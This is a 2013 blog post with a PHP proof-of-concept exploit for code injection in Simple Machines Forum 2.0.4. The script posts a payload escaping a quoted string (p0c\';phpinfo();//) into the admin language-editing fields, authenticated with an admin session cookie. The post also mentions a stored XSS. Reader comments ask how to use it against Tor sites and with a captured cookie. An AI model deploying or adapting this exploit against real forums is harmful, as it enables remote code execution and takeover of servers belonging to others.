Tuesday 23 April 2013

[EN] p0c php injection in SMF 2.0.4

Thanks for all mails about 'how to inject php code in latest smf'! I'm glad that you're reading my blog. ;)

Below is simple proof-of-concept code. Remember to replace 2 values: cookie, and path to your SMF installation. In other way, code will not work. ;)

PoC in PHP:

---8<---
<?php

// proof of concept that latest SMF (2.0.4) can be exploited by php injection.

// payload code must escape from \', so you should try with something like that:
// p0c\';phpinfo();// as a 'dictionary' value. Same story for locale parameter.
// For character_set - another story, as far as I remember, because here we have
// a nice stored xss. ;)

// 21/04/2013
// http://HauntIT.blogspot.com

// to successfully exploit smf 2.0.4 we need correct admin's cookie:
$cookie = 'SMFCookie956=allCookiesHere';
$ch = curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english');

curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On')
curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$page = curl_exec($ch);

echo 'PHP code:<br>'.$page;

curl_close($ch); // to close 'logged-in' part

?>


--->8---


And pastebin version :)

Remember to test only your SMF! ;)

o/

6 comments:

  1. Thanks Pichaya, and thanks for watching ;)

    Feel free to send me an email if you have any questions.

    cheers o/

    ReplyDelete
  2. nice done bro :) keep it up

    ReplyDelete
  3. How to make this work for Onion-sites? (Tor network)

    ReplyDelete
  4. Thx to posting this important post for our scripts security. A question... how the attackers can grab admin cookie name?

    ReplyDelete
  5. so i'v got cookie. how can use this ? vlkc(eta)list.ru

    ReplyDelete

What do You think...?